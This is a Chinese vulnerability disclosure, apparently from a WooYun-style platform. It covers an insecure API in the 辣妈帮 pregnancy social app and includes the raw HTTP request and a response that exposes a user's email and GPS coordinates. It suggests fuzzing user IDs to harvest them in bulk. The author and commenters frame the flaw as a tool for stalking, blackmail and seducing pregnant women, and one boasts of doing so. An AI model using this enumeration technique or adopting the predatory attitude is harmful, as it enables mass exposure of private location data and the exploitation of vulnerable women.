2013-12-11： 积极联系厂商并且等待厂商认领中，细节不对外公开 2014-01-25： 厂商已经主动忽略漏洞，细节向公众公开
辣妈帮是基于gps的社交软件，主要对象都是备孕或者怀孕的人妻。午夜的时候各种寂寞的少妇。。。。有人还私信神码直播。当你们直播的时候，你会知道背后有一双眼睛，已经知道了你的联系方式，物理位置，想想就可怕（你懂得）。。。。还有情感板块，神码感觉婚姻不幸福，喜欢上了别人。。。。。嗯。。如果被人恶意利用，敲诈。。后果不堪设想。。。。。。最猥琐的方式是用该漏洞“约泡”。。。。。。。。。。。。。。
post提交uid查询用户的主页的时候，返回信息内包含了gps email等。
注册一个账号 然后随便访问一个板块 点击一个人的头像 抓包。
POST http://open.lmbang.com/user/detail HTTP/1.1Host: open.lmbang.comProxy-Connection: closeContent-Type: application/x-www-form-urlencoded; charset=utf-8Content-Length: 53Connection: closeCookie: ＊＊＊＊＊＊＊＊＊＊＊dncac21User-Agent: è¾£å¦å¸®HD 1.7.3 (iPad; iPhone OS 7.0.4; zh_CN)uid=40＊＊＊23&client_flag=lmb_ipad×tamp=1386702488
uid是用户id，结合httpfuzz可以做到批量获取。。。。返回信息
HTTP/1.1 200 OKServer: nginx/1.2.8Date: Tue, 10 Dec 2013 19:08:06 GMTContent-Type: text/htmlConnection: closeVary: Accept-EncodingX-Powered-By: PHP/5.4.16Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cache{"ret":"0","msg":"ok","timestamp":1386702486,"data":{"userinfo":{"uid":"403＊＊23","nickname":"\u8fa3\u5988806032","email":"125＊＊＊399@qq.com","nation":"","province":"","city":"","fansnum":"0","idolnum":"1","signature":"","face":"","face200":"","srcface":"","bangs":"58","bbtype":"0","bbbirthday":"0","bbgender":"-1","favorites":"0","scores":"18","isphoto":"1","photos":"0","lv":"1","lvicon":"\/image\/comm\/1.png","daren":"","authtype":"0","topics":"1","deltopics":"0","posts":2,"delposts":"0","comment_visible":"1","jingdu":"113.256513","weidu":"23.170005","is_silence_icon":"0","description":"","authname":"","background":"","jwd_valid":1,"beblacklist":"0"},"isfollow":0,"is_verify":0,"photo_list":[],"photo_count":"0","topic_list":[{"id":"4256131","pid":"0","title":"\u8fdb\u884c\u4e2d\u3002\u3002\u3002","dateline":"1386702013","favorites":"0","comments":"3","thumb":"","picture":"","choice":"0","bid":"8301","uid":"4032823","username":"125＊＊＊＊399@qq.com","nickname":"\u8fa3\u5988806032","face":"","bbtype":"0","bbbirthday":"0","product_id":null,"product_price":null,"taobao_url":null,"bangname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"}],"topic_count":"1","comment_list":[{"dateline":"1386702444","content":"\u7ee7\u7eeding","tid":"4256131","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"},{"dateline":"1386702395","content":"\u6211\u4eec\u662f\u592b\u59bb\uff0c\u8981\u60f3\u770b\u7684\u79c1\u4fe1","tid":"4255995","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"},{"dateline":"1386702118","content":"kj\u4e2d\u3002\u3002\u3002","tid":"4256131","bname":"\u4e24\u6027\u5065\u5eb7\u8fa3\u5988\u5e2e","bpic":"http:\/\/img8.lamaqun.com\/img\/uploadfile\/day_120727\/201207271653394522.jpg"}],"comment_count":2}}
屏蔽相应回显
未能联系到厂商或者厂商积极拒绝
装一个
请私信我利用细节
洞主注意身体
@小川 他是想减肥，每天用着辣妈帮坐着运动，减肥方式不错啊
@xsser 我发现还是少撸的好，现在有点蛋疼，可能最近一天2次到3次太频繁了。我发现米聊现在也不错。。。。。你懂的。。
我去，可以考虑来一发
@想要减肥的胖纸 比的上陌陌?
@冷静 momo 上，，不是酒托就是上了MOMO还装纯的女人。 还有就是男的比女的多
請私信我利用細節
哎呀 我是孕妇控 貌似看到好几个
我觉得我不行！没想过也不想，因为我会受不了！
@wefgod 相信自己，力量在心中
@小川 我去，看了你的截图我都想去围观下了。说不定一个私信过去就有人送上门了哈哈。
@wefgod 昨晚测试了下。成功搭讪到三个，做了她们出轨对象的候补之一！！
@wefgod 裸照什么的，已经发我了,还问我介意生孩子松弛吗
@冷静 @冷静 我去？？？？？？？？？？？？？？？？？？？！！！真的假的？？你确定吗，同城的啊？给力了
@wefgod 千真万确，有相离几百米的，有相离几千 千米的
@冷静 （打包？）
@wefgod 打包个这网站的xss给我吧 我测试一个小时了 ...动态的地方 找准美女打啊
@冷静 我也木有…………今天去下了，感觉很震撼！回头围观看看哈哈哈
大神 你用什么工具抓包的？ 在pad上
一群寂寞的人。唉。以后不发这种邪恶的东西了。
@想要减肥的胖纸 造福人类的好事啊哈哈，应该发啊
我要装一个 我操 这种东西
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)